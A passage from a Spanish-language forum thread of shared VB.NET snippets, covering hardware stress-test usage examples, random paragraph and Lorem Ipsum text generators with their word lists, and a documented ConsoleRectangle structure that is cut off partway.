  21.    Console.WriteLine("Process  disk I/O written data (in bytes): {0} ({1:F2} GB)", diskStress.ProcessWriteBytes, (diskStress.ProcessWriteBytes / 1024.0F ^ 3))
  22. End Using
(https://raw.githubusercontent.com/ElektroStudios/HardwareStress/master/Preview/DiskStress-Example.png)

Memory Stress
Código
  1. Using memStress As New MemoryStress()
  2.    Dim memorySize As Long = 1073741824 1 GB
  3.  
  4.    Console.WriteLine("Allocating physical memory size...")
  5.    memStress.Allocate(memorySize)
  6.    Console.WriteLine("Instance Physical Memory Size (in bytes): {0} ({1:F2} GB)", memStress.InstancePhysicalMemorySize, (memStress.InstancePhysicalMemorySize / 1024.0F ^ 3))
  7.    Console.WriteLine("Process  Physical Memory Size (in bytes): {0} ({1:F2} GB)", memStress.ProcessPhysicalMemorySize, (memStress.ProcessPhysicalMemorySize / 1024.0F ^ 3))
  8.    Console.WriteLine()
  9.    Console.WriteLine("Deallocating physical memory size...")
  10.    memStress.Deallocate()
  11.    Console.WriteLine("Instance Physical Memory Size (in bytes): {0}", memStress.InstancePhysicalMemorySize)
  12.    Console.WriteLine("Process  Physical Memory Size (in bytes): {0} ({1:F2} MB)", memStress.ProcessPhysicalMemorySize, (memStress.ProcessPhysicalMemorySize / 1024.0F ^ 2))
  13. End Using
(https://raw.githubusercontent.com/ElektroStudios/HardwareStress/master/Preview/MemoryStress-Example.png)


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Febrero 2019, 22:04 pm
Generador aleatorio de párrafos

Código
  1. Private Shared rng As New Random(Seed:=Environment.TickCount)

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Generates a random paragraph using the specified set of words.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <param name="words">
  7. ''' The words that will be used to build paragraphs.
  8. ''' </param>
  9. '''
  10. ''' <param name="numberOfParagraphs">
  11. ''' The number of paragraphs to generate.
  12. ''' </param>
  13. '''
  14. ''' <param name="htmlFormatting">
  15. ''' Specifies whether or not to format paragraphs for HTML.
  16. ''' </param>
  17. ''' ----------------------------------------------------------------------------------------------------
  18. ''' <returns>
  19. ''' The resulting paragraph(s).
  20. ''' </returns>
  21. ''' ----------------------------------------------------------------------------------------------------
  22. <DebuggerStepThrough>
  23. Public Shared Function RandomParagraphGenerator(ByVal words As String(),
  24.                                                ByVal numberOfParagraphs As Integer,
  25.                                                ByVal htmlFormatting As Boolean) As String
  26.  
  27.    Dim sb As New StringBuilder()
  28.  
  29.    Dim nextWord As String
  30.    Dim nextWordIndex As Integer
  31.    Dim lastWordIndex As Integer
  32.  
  33.    For paragraphIndex As Integer = 0 To (numberOfParagraphs - 1)
  34.  
  35.        Dim phraseLen As Integer = rng.Next(2, 10)
  36.        For phraseIndex As Integer = 0 To (phraseLen - 1)
  37.  
  38.            If (phraseIndex = 0) AndAlso (htmlFormatting) Then
  39.                sb.Append("<p>")
  40.            End If
  41.  
  42.            Dim wordLen As Integer = rng.Next(3, 15)
  43.            Dim addComma As Boolean = (rng.NextDouble() < 50 / 100.0) ' 50% probability to add a comma in a phrase.
  44.            Dim commaAmount As Integer = rng.Next(1, (wordLen - 1) \ 2)
  45.            Dim commaIndices As New HashSet(Of Integer)
  46.            For i As Integer = 0 To (commaAmount - 1)
  47.                commaIndices.Add(rng.Next(1, (wordLen - 1)))
  48.            Next i
  49.  
  50.            For wordIndex As Integer = 0 To (wordLen - 1)
  51.  
  52.                Do Until (nextWordIndex <> lastWordIndex)
  53.                    nextWordIndex = rng.Next(0, words.Length)
  54.                Loop
  55.                lastWordIndex = nextWordIndex
  56.                nextWord = words(nextWordIndex)
  57.  
  58.                If (wordIndex = 0) Then
  59.                    sb.Append(Char.ToUpper(nextWord(0)) & nextWord.Substring(1))
  60.                    Continue For
  61.                End If
  62.                sb.Append(" " & words(rng.Next(0, words.Length)))
  63.  
  64.                If (commaIndices.Contains(wordIndex)) AndAlso (addComma) Then
  65.                    sb.Append(","c)
  66.                End If
  67.  
  68.                If (wordIndex = (wordLen - 1)) Then
  69.                    If (phraseIndex <> (phraseLen - 1)) Then
  70.                        sb.Append(". ")
  71.                    Else
  72.                        sb.Append(".")
  73.                    End If
  74.                End If
  75.            Next wordIndex
  76.  
  77.        Next phraseIndex
  78.  
  79.        If (htmlFormatting) Then
  80.            sb.Append("</p>")
  81.        End If
  82.  
  83.        sb.AppendLine(Environment.NewLine)
  84.  
  85.    Next paragraphIndex
  86.  
  87.    Return sb.ToString()
  88. End Function
  89.  

Modo de empleo:
Código
  1. Dim words As String() = {
  2.    "a", "ability", "able", "about", "above", "accept", "according", "account", "across",
  3.    "act", "action", "activity", "actually", "add", "address", "administration", "admit",
  4.    "adult", "affect", "after", "again", "against", "age", "agency", "agent", "ago", "agree",
  5.    "agreement", "ahead", "air", "all", "allow", "almost", "alone", "along", "already", "also",
  6.    "although", "always", "American", "among", "amount", "analysis", "and", "animal", "another",
  7.    "answer", "any", "anyone", "anything", "appear", "apply", "approach", "area", "argue", "arm",
  8.    "around", "arrive", "art", "article", "artist", "as", "ask", "assume", "at", "attack", "attention",
  9.    "attorney", "audience", "author", "authority", "available", "avoid", "away", "baby", "back",
  10.    "bed", "before", "begin", "behavior", "behind", "believe", "benefit", "best", "better", "between",
  11.    "both", "box", "boy", "break", "bring", "brother", "budget", "build", "building", "business", "but",
  12.    "buy", "by", "call", "camera", "campaign", "can", "cancer", "candidate", "capital", "car", "card",
  13.    "care", "career", "carry", "case", "catch", "cause", "cell", "center", "central", "century", "certain",
  14.    "choice", "choose", "church", "citizen", "city", "civil", "claim", "class", "clear", "clearly",
  15.    "close", "coach", "cold", "collection", "college", "color", "come", "commercial", "common", "community",
  16.    "consumer", "contain", "continue", "control", "cost", "could", "country", "couple", "course", "court",
  17.    "cover", "create", "crime", "cultural", "culture", "cup", "current", "customer", "cut", "dark",
  18.    "data", "daughter", "day", "dead", "deal", "death", "debate", "decade", "decide", "decision", "deep",
  19.    "defense", "degree", "Democrat", "democratic", "describe", "design", "despite", "detail",
  20.    "direction", "director", "discover", "discuss", "discussion", "disease", "do", "doctor", "dog",
  21.    "door", "down", "draw", "dream", "drive", "drop", "drug", "during", "each", "early", "east", "easy",
  22.    "eat", "economic", "economy", "edge", "education", "effect", "effort", "eight", "either", "election",
  23.    "environmental", "especially", "establish", "even", "evening", "event", "ever", "every", "everybody",
  24.    "everyone", "everything", "evidence", "exactly", "example", "executive", "exist", "expect",
  25.    "experience", "expert", "explain", "eye", "face", "fact", "factor", "fail", "fall", "family",
  26.    "fill", "film", "final", "finally", "financial", "find", "fine", "finger", "finish", "fire",
  27.    "firm", "first", "fish", "five", "floor", "fly", "focus", "follow", "food", "foot", "for",
  28.    "force", "foreign", "forget", "form", "former", "forward", "four", "free", "friend", "from",
  29.    "front", "full", "fund", "future", "game", "garden", "gas", "general", "generation", "get",
  30.    "girl", "give", "glass", "go", "goal", "good", "government", "great", "green", "ground",
  31.    "group", "grow", "growth", "guess", "gun", "guy", "hair", "half", "hand", "hang", "happen",
  32.    "happy", "hard", "have", "he", "head", "health", "hear", "heart", "heat", "heavy", "help",
  33.    "her", "here", "herself", "high", "him", "himself", "his", "history", "hit", "hold", "home",
  34.    "hope", "hospital", "hot", "hotel", "hour", "house", "how", "however", "huge", "human", "hundred",
  35.    "husband", "I", "idea", "identify", "if", "image", "imagine", "impact", "important", "improve",
  36.    "in", "include", "including", "increase", "indeed", "indicate", "individual", "industry",
  37.    "information", "inside", "instead", "institution", "interest", "interesting", "international",
  38.    "interview", "into", "investment", "involve", "issue", "it", "item", "its", "itself", "job",
  39.    "join", "just", "keep", "key", "kid", "kill", "kind", "kitchen", "know", "knowledge", "land",
  40.    "language", "large", "last", "late", "later", "laugh", "law", "lawyer", "lay", "lead", "leader",
  41.    "learn", "least", "leave", "left", "leg", "legal", "less", "let", "letter", "level", "lie", "life",
  42.    "light", "like", "likely", "line", "list", "listen", "little", "live", "local", "long", "look",
  43.    "lose", "loss", "lot", "love", "low", "machine", "magazine", "main", "maintain", "major", "majority",
  44.    "make", "man", "manage", "management", "manager", "many", "market", "marriage", "material", "matter",
  45.    "may", "maybe", "me", "mean", "measure", "media", "medical", "meet", "meeting", "member",
  46.    "memory", "mention", "message", "method", "middle", "might", "military", "million", "mind",
  47.    "minute", "miss", "mission", "model", "modern", "moment", "money", "month", "more", "morning",
  48.    "most", "mother", "mouth", "move", "movement", "movie", "Mr", "Mrs", "much", "music", "must",
  49.    "my", "myself", "name", "nation", "national", "natural", "nature", "near", "nearly", "necessary",
  50.    "need", "network", "never", "new", "news", "newspaper", "next", "nice", "night", "no", "none", "nor",
  51.    "north", "not", "note", "nothing", "notice", "now", "number", "occur", "of", "off", "offer",
  52.    "office", "officer", "official", "often", "oh", "oil", "ok", "old", "on", "once", "one", "only",
  53.    "onto", "open", "operation", "opportunity", "option", "or", "order", "organization", "other",
  54.    "others", "our", "out", "outside", "over", "own", "owner", "page", "pain", "painting", "paper",
  55.    "parent", "part", "participant", "particular", "particularly", "partner", "party", "pass",
  56.    "past", "patient", "pattern", "pay", "peace", "people", "per", "perform", "performance",
  57.    "perhaps", "period", "person", "personal", "phone", "physical", "pick", "picture",
  58.    "piece", "place", "plan", "plant", "play", "player", "PM", "point", "police", "policy",
  59.    "political", "politics", "poor", "popular", "population", "position", "positive",
  60.    "possible", "power", "practice", "prepare", "present", "president", "pressure",
  61.    "pretty", "prevent", "price", "private", "probably", "problem", "process", "produce",
  62.    "product", "production", "professional", "professor", "program", "project", "property", "protect",
  63.    "prove", "provide", "public", "pull", "purpose", "push", "put", "quality", "question", "quickly",
  64.    "quite", "race", "radio", "raise", "range", "rate", "rather", "reach", "read", "ready", "real",
  65.    "reality", "realize", "really", "reason", "receive", "recent", "recently", "recognize", "record",
  66.    "red", "reduce", "reflect", "region", "relate", "relationship", "religious", "remain", "remember",
  67.    "remove", "report", "represent", "Republican", "require", "research", "resource", "respond", "response",
  68.    "responsibility", "rest", "result", "return", "reveal", "rich", "right", "rise", "risk", "road",
  69.    "rock", "role", "room", "rule", "run", "safe", "same", "save", "say", "scene", "school", "science",
  70.    "scientist", "score", "sea", "season", "seat", "second", "section", "security", "see", "seek",
  71.    "seem", "sell", "send", "senior", "sense", "series", "serious", "serve", "service", "set", "seven",
  72.    "show", "side", "sign", "significant", "similar", "simple", "simply", "since", "sing", "single",
  73.    "sister", "sit", "site", "situation", "six", "size", "skill", "skin", "small", "smile", "so",
  74.    "social", "society", "soldier", "some", "somebody", "someone", "something", "sometimes", "son",
  75.    "specific", "speech", "spend", "sport", "spring", "staff", "stage", "stand", "standard", "star",
  76.    "start", "state", "statement", "station", "stay", "step", "still", "stock", "stop", "store",
  77.    "story", "strategy", "street", "strong", "structure", "student", "study", "stuff", "style",
  78.    "subject", "success", "successful", "such", "suddenly", "suffer", "suggest", "summer", "support",
  79.    "sure", "surface", "system", "table", "take", "talk", "task", "tax", "teach", "teacher", "team",
  80.    "technology", "television", "tell", "ten", "tend", "term", "test", "than", "thank", "that", "the",
  81.    "their", "them", "themselves", "then", "theory", "there", "these", "they", "thing", "think",
  82.    "third", "this", "those", "though", "thought", "thousand", "threat", "three", "through", "throughout",
  83.    "throw", "thus", "time", "to", "today", "together", "tonight", "too", "top", "total", "tough",
  84.    "toward", "town", "trade", "traditional", "training", "travel", "treat", "treatment", "tree",
  85.    "trial", "trip", "trouble", "true", "truth", "try", "turn", "TV", "two", "type", "under", "understand",
  86.    "unit", "until", "up", "upon", "us", "use", "usually", "value", "various", "very", "victim",
  87.    "view", "violence", "visit", "voice", "vote", "wait", "walk", "wall", "want", "war", "watch", "water",
  88.    "way", "we", "weapon", "wear", "week", "weight", "well", "west", "western", "what", "whatever",
  89.    "when", "where", "whether", "which", "while", "white", "who", "whole", "whom", "whose", "why",
  90.    "wide", "wife", "will", "win", "wind", "window", "wish", "with", "within", "without", "woman",
  91.    "wonder", "word", "work", "worker", "world", "worry", "would", "write", "writer", "wrong", "yard",
  92.    "yeah", "year", "yes", "yet", "you", "young", "your", "yourself"}
  93.  
  94. Dim paragraphs As String = RandomParagraphGenerator(words, numberOfParagraphs:=4, htmlFormatting:=False)
  95. Console.WriteLine(paragraphs)

Citar
Finish at, raise, movie exist page, including there, yard ground why, information everyone. Life full those finger instead simple central those scientist. Force road of pick your student social. Prevent plan heart site. Anyone door, explain control.

Process interest we high human occur agree page put. Left education according thus, structure fine second professor rather relationship guess instead maybe radio. Second process reason on, create west. Forget victim wrong may themselves out where occur sometimes. Wide candidate, newspaper, if purpose at assume draw month, American physical create. Sea sign describe white though want minute type to medical. Explain girl their most upon.

Suddenly drug writer follow must. Right choose, option one capital risk. Administration forget practice anything. Notice people take movie, dark, yes only. Inside either recent movement during particular wear husband particularly those legal. Suffer drug establish work. Guess two have garden value property realize dog people friend, hospital that.

Person movie north wrong thing group. Write exist church daughter up, why appear ahead growth, wife news protect. Save smile, impact improve direction trouble tax, scene, north nation, maybe hang face history. Cause lawyer true worker season, more.



Generador aleatorio de texto 'Lorem Ipsum'

( ESTA FUNCIÓN SIMPLEMENTA HACE UNA LLAMADA AL GENERADOR DE PÁRRAFOS QUE HE PUBLICADO ARRIBA. )

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Generates a random 'Lorem Ipsum' paragraph.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <remarks>
  7. ''' Wikipedia article: <see href="https://en.wikipedia.org/wiki/Lorem_ipsum"/>
  8. ''' </remarks>
  9. ''' ----------------------------------------------------------------------------------------------------
  10. ''' <param name="numberOfParagraphs">
  11. ''' The number of paragraphs to generate.
  12. ''' </param>
  13. '''
  14. ''' <param name="htmlFormatting">
  15. ''' Specifies whether or not to format paragraphs for HTML.
  16. ''' </param>
  17. ''' ----------------------------------------------------------------------------------------------------
  18. ''' <returns>
  19. ''' The resulting 'Lorem Ipsum' paragraph(s).
  20. ''' </returns>
  21. ''' ----------------------------------------------------------------------------------------------------
  22. <DebuggerStepThrough>
  23. Public Shared Function GenerateLoremIpsumText(ByVal numberOfParagraphs As Integer,
  24.                                              ByVal htmlFormatting As Boolean) As String
  25.  
  26.    Dim words As String() = {
  27.        "abhorreant", "accommodare", "accumsan", "accusam", "accusamus", "accusata", "ad",
  28.        "adhuc", "adipisci", "adipiscing", "admodum", "adolescens", "adversarium", "aeque",
  29.        "aeterno", "affert", "agam", "albucius", "alia", "alienum", "alii", "aliquam",
  30.        "aliquando", "aliquid", "aliquip", "alterum", "amet", "an", "ancillae", "animal",
  31.        "antiopam", "apeirian", "aperiam", "aperiri", "appareat", "appellantur", "appetere",
  32.        "argumentum", "assentior", "assueverit", "assum", "at", "atomorum", "atqui", "audiam",
  33.        "audire", "augue", "autem", "blandit", "bonorum", "brute", "case", "causae", "cetero",
  34.        "ceteros", "choro", "cibo", "civibus", "clita", "commodo", "commune", "complectitur",
  35.        "comprehensam", "conceptam", "concludaturque", "conclusionemque", "congue", "consectetuer",
  36.        "consequat", "consequuntur", "consetetur", "constituam", "constituto", "consul", "consulatu",
  37.        "contentiones", "convenire", "copiosae", "corpora", "corrumpit", "cotidieque", "cu", "cum",
  38.        "debet", "debitis", "decore", "definiebas", "definitionem", "definitiones", "delectus",
  39.        "delenit", "deleniti", "delicata", "delicatissimi", "democritum", "denique", "deseruisse",
  40.        "deserunt", "deterruisset", "detracto", "detraxit", "diam", "dicam", "dicant", "dicat",
  41.        "diceret", "dicit", "dico", "dicta", "dictas", "dicunt", "dignissim", "discere", "disputando",
  42.        "disputationi", "dissentias", "dissentiet", "dissentiunt", "docendi", "doctus", "dolor",
  43.        "dolore", "dolorem", "dolores", "dolorum", "doming", "duis", "duo", "ea", "eam", "efficiantur",
  44.        "efficiendi", "ei", "eirmod", "eius", "elaboraret", "electram", "eleifend", "eligendi", "elit",
  45.        "elitr", "eloquentiam", "enim", "eos", "epicurei", "epicuri", "equidem", "erant", "erat",
  46.        "eripuit", "eros", "errem", "error", "erroribus", "eruditi", "esse", "essent", "est", "et",
  47.        "etiam", "eu", "euismod", "eum", "euripidis", "everti", "evertitur", "ex", "exerci", "expetenda",
  48.        "expetendis", "explicari", "fabellas", "fabulas", "facer", "facete", "facilis", "facilisi",
  49.        "facilisis", "falli", "fastidii", "ferri", "feugait", "feugiat", "fierent", "forensibus",
  50.        "fugit", "fuisset", "gloriatur", "graece", "graeci", "graecis", "graeco", "gubergren", "habemus",
  51.        "habeo", "harum", "has", "hendrerit", "hinc", "his", "homero", "honestatis", "id", "idque",
  52.        "ignota", "iisque", "illud", "illum", "impedit", "imperdiet", "impetus", "in", "inani", "inciderint",
  53.        "incorrupte", "indoctum", "inermis", "inimicus", "insolens", "instructior", "integre", "intellegam",
  54.        "intellegat", "intellegebat", "interesset", "interpretaris", "invenire", "invidunt", "ipsum",
  55.        "iracundia", "iriure", "iudicabit", "iudico", "ius", "iusto", "iuvaret", "justo", "labitur",
  56.        "laboramus", "labore", "labores", "laoreet", "latine", "laudem", "legendos", "legere", "legimus",
  57.        "liber", "liberavisse", "libris", "lobortis", "lorem", "lucilius", "ludus", "luptatum", "magna",
  58.        "maiestatis", "maiorum", "malis", "malorum", "maluisset", "mandamus", "mazim", "mea", "mediocrem",
  59.        "mediocritatem", "mei", "meis", "mel", "meliore", "melius", "menandri", "mentitum", "minim",
  60.        "minimum", "mnesarchum", "moderatius", "modo", "modus", "molestiae", "molestie", "mollis", "movet",
  61.        "mucius", "mundi", "munere", "mutat", "nam", "natum", "ne", "nec", "necessitatibus", "neglegentur",
  62.        "nemore", "nibh", "nihil", "nisl", "no", "nobis", "noluisse", "nominati", "nominavi", "nonumes",
  63.        "nonumy", "noster", "nostro", "nostrud", "nostrum", "novum", "nulla", "nullam", "numquam", "nusquam",
  64.        "oblique", "ocurreret", "odio", "offendit", "officiis", "omittam", "omittantur", "omnes", "omnesque",
  65.        "omnis", "omnium", "oporteat", "oportere", "option", "oratio", "ornatus", "partem", "partiendo",
  66.        "patrioque", "paulo", "per", "percipit", "percipitur", "perfecto", "pericula", "periculis", "perpetua",
  67.        "persecuti", "persequeris", "persius", "pertinacia", "pertinax", "petentium", "phaedrum", "philosophia",
  68.        "placerat", "platonem", "ponderum", "populo", "porro", "posidonium", "posse", "possim", "possit",
  69.        "postea", "postulant", "praesent", "pri", "prima", "primis", "principes", "pro", "probatus", "probo",
  70.        "prodesset", "prompta", "propriae", "purto", "putant", "putent", "quaeque", "quaerendum", "quaestio",
  71.        "qualisque", "quando", "quas", "quem", "qui", "quidam", "quis", "quo", "quod", "quodsi", "quot",
  72.        "rationibus", "rebum", "recteque", "recusabo", "referrentur", "reformidans", "regione", "reprehendunt",
  73.        "reprimique", "repudiandae", "repudiare", "reque", "ridens", "sadipscing", "saepe", "sale", "salutandi",
  74.        "salutatus", "sanctus", "saperet", "sapientem", "scaevola", "scribentur", "scripserit", "scripta",
  75.        "scriptorem", "sea", "sed", "semper", "senserit", "sensibus", "sententiae", "signiferumque", "similique",
  76.        "simul", "singulis", "sint", "sit", "soleat", "solet", "solum", "soluta", "sonet", "splendide", "stet",
  77.        "suas", "suavitate", "summo", "sumo", "suscipiantur", "suscipit", "tacimates", "tale", "tamquam", "tantas",
  78.        "tation", "te", "tempor", "temporibus", "theophrastus", "tibique", "timeam", "tincidunt", "tollit",
  79.        "torquatos", "tota", "tractatos", "tritani", "ubique", "ullamcorper", "ullum", "unum", "urbanitas", "usu",
  80.        "ut", "utamur", "utinam", "utroque", "vel", "velit", "veniam", "verear", "veri", "veritus", "vero",
  81.        "verterem", "vide", "viderer", "vidisse", "vidit", "vim", "viris", "virtute", "vis", "vitae", "vituperata",
  82.        "vituperatoribus", "vivendo", "vivendum", "vix", "vocent", "vocibus", "volumus", "voluptaria",
  83.        "voluptatibus", "voluptatum", "voluptua", "volutpat", "vulputate", "wisi", "zril"}
  84.  
  85.    Dim str As String = RandomParagraphGenerator(words, numberOfParagraphs, htmlFormatting)
  86.  
  87.    If (htmlFormatting) Then
  88.        Return str.Insert(3, "Lorem ipsum dolor sit amet. ")
  89.    Else
  90.        Return str.Insert(0, "Lorem ipsum dolor sit amet. ")
  91.    End If
  92.  
  93. End Function

Modo de empleo:

Código
  1. Dim loremIpsum As String = GenerateLoremIpsumText(numberOfParagraphs:=4, htmlFormatting:=True)
  2. Console.WriteLine(loremIpsum)

Citar
<p>Lorem ipsum dolor sit amet. Placerat vulputate tollit cum vivendo adipiscing nemore duo salutandi mollis. Fabellas malis, eros solet rationibus. Assum suas inermis, at veri prompta modo scaevola, ad. Percipitur ceteros semper vituperata feugait disputationi cotidieque soluta. Efficiendi facilisi zril percipit putant quando id quas nobis civibus natum. Pertinax maluisset vidisse oratio autem eripuit repudiandae ea suas eros illum oratio aliquid. Fabulas porro, integre oportere.</p>

<p>Virtute mediocritatem, vim erant nisl. Legendos postea saperet postea putent nihil facilisi nominati omnis. Facilisis persequeris scaevola alterum probatus vulputate denique pericula ullamcorper eloquentiam oporteat purto mediocritatem.</p>

<p>Veniam petentium delectus delicatissimi malis voluptua mentitum dissentias interpretaris verear quis utamur albucius verear. Quo reformidans, definitiones facilis. Conclusionemque quaestio voluptaria populo delicata sit viris mediocrem vulputate voluptatum eloquentiam. Quas an, bonorum cibo audiam commune volutpat. Vis ullamcorper scriptorem omnis facilisis sententiae hendrerit. Oporteat atomorum prompta suavitate idque accommodare ius oblique graece graecis interpretaris nemore. Meliore albucius commune qui suscipit definitiones vidit docendi facilisi forensibus quis. Equidem dolore expetendis iudico, delectus viderer timeam. Mediocrem molestie timeam, recteque, maluisset evertitur delicata.</p>

<p>Similique neglegentur temporibus alienum ad legimus scriptorem bonorum et appetere vide molestie. Mentitum feugait voluptatum illum detracto, tamquam vel ponderum mei illud, omnis paulo, ignota. Malorum lorem consul molestie interpretaris aperiri vituperatoribus, soluta enim vituperatoribus.</p>


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 2 Marzo 2019, 23:25 pm
ConsoleRectangle

Esto es el equivalente a la clase System.Drawing.Rectangle, para representar la posición y tamaño de un rectángulo (dibujable) en el búfer de salida de una consola.

(https://i.imgur.com/f0r5z6K.png)

(https://i.imgur.com/aMxfrw8.png)

Decisiones (o limitaciones) de diseño:
  • Las propiedades son de solo lectura (para quitarme de lios). Es decir, para hacer cambios en el tamaño o posición del rectángulo, hay que crear una nueva instancia. - ya no lo son
  • No permite la asignación de coordenadas negativas (puesto que tampoco lo permite el método Console.SetCursorPos()), ni un tamaño (anchura ni altura) igual a cero, aunque esto último no se tiene en cuenta si se usa el constructor por defecto.

EDITO: implementación extendida.
Código:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Stores a set of four integers that represent the location and size of a (printable) rectangle on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<ComVisible(True)>
<Serializable>
Public Structure ConsoleRectangle

#Region " Properties "

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets or sets the location of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The location of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(False)>
    Public Property Location As Point
        Get
            Return Me.location_
        End Get
        Set(value As Point)
            Me.UpdateLocation(value)
        End Set
    End Property
    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' ( Backing field of <see cref="ConsoleRectangle.Location"/> property. )
    ''' <para></para>
    ''' The location of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    Private location_ As Point

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the x-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The x-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public ReadOnly Property X As Integer
        Get
            Return Me.Location.X
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the y-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The y-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public ReadOnly Property Y As Integer
        Get
            Return Me.Location.Y
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the y-coordinate of the top edge of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The y-coordinate of the top edge of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(False)>
    Public ReadOnly Property Top As Integer
        Get
            Return Me.Y
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the x-coordinate of the left edge of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The x-coordinate of the left edge of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(False)>
    Public ReadOnly Property Left As Integer
        Get
            Return Me.X
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the y-coordinate that is the sum of the <see cref="ConsoleRectangle.Y"/>
    ''' and <see cref="ConsoleRectangle.Height"/> property values of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The y-coordinate that is the sum of the <see cref="ConsoleRectangle.Y"/>
    ''' and <see cref="ConsoleRectangle.Height"/> property values of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(False)>
    Public ReadOnly Property Bottom As Integer
        Get
            Return (Me.Y + Me.Height)
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the x-coordinate that is the sum of <see cref="ConsoleRectangle.X"/>
    ''' and <see cref="ConsoleRectangle.Width"/> property values of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The x-coordinate that is the sum of <see cref="ConsoleRectangle.X"/>
    ''' and <see cref="ConsoleRectangle.Width"/> property values of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(False)>
    Public ReadOnly Property Right As Integer
        Get
            Return (Me.X + Me.Width)
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets or sets the size of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The size of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(False)>
    Public Property Size As Size
        Get
            Return Me.size_
        End Get
        Set(value As Size)
            Me.UpdateSize(value)
        End Set
    End Property
    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' ( Backing field of <see cref="ConsoleRectangle.Size"/> property. )
    ''' <para></para>
    ''' The size of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    Private size_ As Size

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the width of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The width of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public ReadOnly Property Width As Integer
        Get
            Return Me.Size.Width
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets the height of this <see cref="ConsoleRectangle"/>.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The height of this <see cref="ConsoleRectangle"/>.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public ReadOnly Property Height As Integer
        Get
            Return Me.Size.Height
        End Get
    End Property

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets or sets the character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public Property CharLeft As Char

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets or sets the character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
    ''' The character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </value>
    ''' ----------------------------------------------------------------------------------------------------
    <Browsable(True)>
    Public Property CharTop As Char

    ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Gets or sets the character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <value>
